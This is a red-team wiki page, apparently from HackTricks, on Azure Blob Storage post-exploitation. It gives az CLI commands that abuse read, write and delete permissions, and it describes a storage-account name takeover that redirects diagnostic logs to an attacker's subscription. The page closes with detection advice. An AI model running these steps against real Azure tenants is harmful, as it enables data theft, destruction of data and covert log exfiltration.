Sponsored

Az - Blob Storage Post Exploitation

[!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)
Browse the full HackTricks Training catalog.

Support HackTricks

Storage Privesc

For more information about storage check:

Az - Storage Accounts & Blobs

Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read

A principal with this permission will be able to list the blobs (files) inside a container and download the files which might contain sensitive information.

# e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read
az storage blob list \
  --account-name <acc-name> \
  --container-name <container-name> --auth-mode login

az storage blob download \
  --account-name <acc-name> \
  --container-name <container-name> \
  -n file.txt --auth-mode login

Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write

A principal with this permission will be able to write and overwrite files in containers which might allow him to cause some damage or even escalate privileges (e.g. overwrite some code stored in a blob):

# e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write
az storage blob upload \
  --account-name <acc-name> \
  --container-name <container-name> \
  --file /tmp/up.txt --auth-mode login --overwrite

*/delete

This would allow to delete objects inside the storage account which might interrupt some services or make the client lose valuable information.

Storage account name takeover of diagnostic exports

Azure Storage account names are globally unique. Some autonomous exports, such as Azure Monitor diagnostic settings, keep writing logs or metrics to a configured storage account. If an attacker can delete that storage account and recreate the same name in an attacker-controlled subscription within the same tenant, future exported telemetry may be delivered to the replacement account without modifying the diagnostic setting.

This is especially interesting when the attacker has destructive permissions such as Microsoft.Storage/storageAccounts/delete, but cannot update the monitored resource or its diagnostic settings.

This requires the storage account name to be released for reuse. In practice, Azure storage account soft delete / recovery protections can delay or prevent immediate reuse, especially across tenants.

# Find diagnostic settings that write to a storage account
az monitor diagnostic-settings list \
  --resource <RESOURCE_ID> \
  --query '[].{name:name,storageAccountId:storageAccountId}'

# Delete the storage account, if permitted
az storage account delete \
  --name <STORAGE_ACCOUNT_NAME> \
  --resource-group <RESOURCE_GROUP>

# Recreate the same globally-unique storage account name
az storage account create \
  --name <STORAGE_ACCOUNT_NAME> \
  --resource-group <ATTACKER_RESOURCE_GROUP> \
  --location <LOCATION> \
  --sku Standard_LRS

Potential Impact: long-term exfiltration of future logs, metrics, audit data, and diagnostic archives to an attacker-controlled subscription.

Detection & Mitigation: alert on deletion of storage accounts referenced by diagnostic settings, inventory diagnostic settings with storageAccountId, monitor for dangling destinations, and tightly restrict destructive permissions on logging/archive storage accounts.

[!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)
Browse the full HackTricks Training catalog.

Support HackTricks
Sponsored